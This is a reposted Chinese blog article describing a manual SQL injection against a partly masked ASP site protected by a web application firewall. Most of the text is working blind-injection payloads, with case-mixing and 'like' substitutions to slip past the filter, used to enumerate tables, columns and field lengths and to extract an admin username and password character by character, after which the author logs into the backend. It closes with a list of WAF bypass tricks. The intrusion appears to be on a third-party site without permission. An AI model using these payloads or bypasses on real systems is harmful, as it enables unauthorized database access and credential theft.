zoukankan      html  css  js  c++  java
  • 一次手工注入waf [转载]

    转载自sss安全论坛

    目标站点:http://www.xxx.cn:88
    注入点:
    http://www.xxx.cn:88/new/details1.asp?n_id=49909
    对其进行检测:http://www.xxx.cn:88/new/details1.asp?n_id=49909

     

    发现有waf,测试and 1=1 和 and 1=2 , and 和 = 也被检测出来,

    尝试大写like代替and

    Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 1

     

    Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And 1 like 2

     

    可的结论,此waf并不能检测出大写语句,那么开始注入:
    首先判断数据库:
    Payloadhttp://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from sysobject)>0
    Ps(发现waf能检测出*,这里count(1)代替count(*))
     
     
    Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from msysobjects)>0
    结论:是sqlsever数据库
    猜解表名
    Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(1) from admin)>0
     
    有表:admin
    那么猜测表admin中的字段
    Payloadhttp://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Count(admin) from admin)>0
     
     
     
    经过猜解得到 adminuserpassword三个字段
    猜解字长
    Payloadhttp://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>5
     
     
     
     
    Payload:http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 len(admin) from admin)>6:
     
     

    ... Select Top 1 len(admin) from admin)>5 返回正常
    ... Select Top 1 len(admin) from admin)>6 返回错误 说明len(admin)=6
    以相同的方法得到len(password)=10,len(user)=3

    猜解字段的值:
    与猜解字段同理
    Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>119 返回正确
    Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,1,1)) from admin)>120 返回错误
    说明admin字段记录的第一个字符打ascii是120
    Payload: http://www.xxx.cn:88/new/details1.asp?n_id=49909 And (Select Top 1 unicode(substring(admin,N,1)) from admin)>n N [1,6]
    依次测出admin六个字符的ascii值,查表得 admin=xuancb
    根据上述方法测的password=118000jjtu, user=dbo (数据库管理员)
    扫到后台后用admin和password登录

    心得:在手工测试中无可避免地要与waf...打交道,是件很头疼的事,但机器总归机器,我们灵活运用大小写混杂、注释符混杂、多重编码、等价替换等方法还是可以绕过的。
    大小写混杂: and----->And,select->Select,...
    注释符混杂(安全狗可过):and/**a*/order by ,union/**a*/select...
    宽字符:当网站对 ’ 转义 / ’ 时,使用%5d’ 会被编码两次 打到注入目的。
    一些常见的等见 “=” = like, and = && , or = ||

    这篇文章还是很不错的一个典型bypass waf的案例。涨姿势了。

  • 相关阅读:
    机器学习---14
    机器学习---13
    机器学习--10
    机器学习--9
    机器学习--8
    机器学习--7
    机械学习--6
    大数据应用技术课程实践--选题与实践方案
    15.手写数字识别-小数据集
    14.深度学习-卷积
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6075506.html
Copyright © 2011-2022 走看看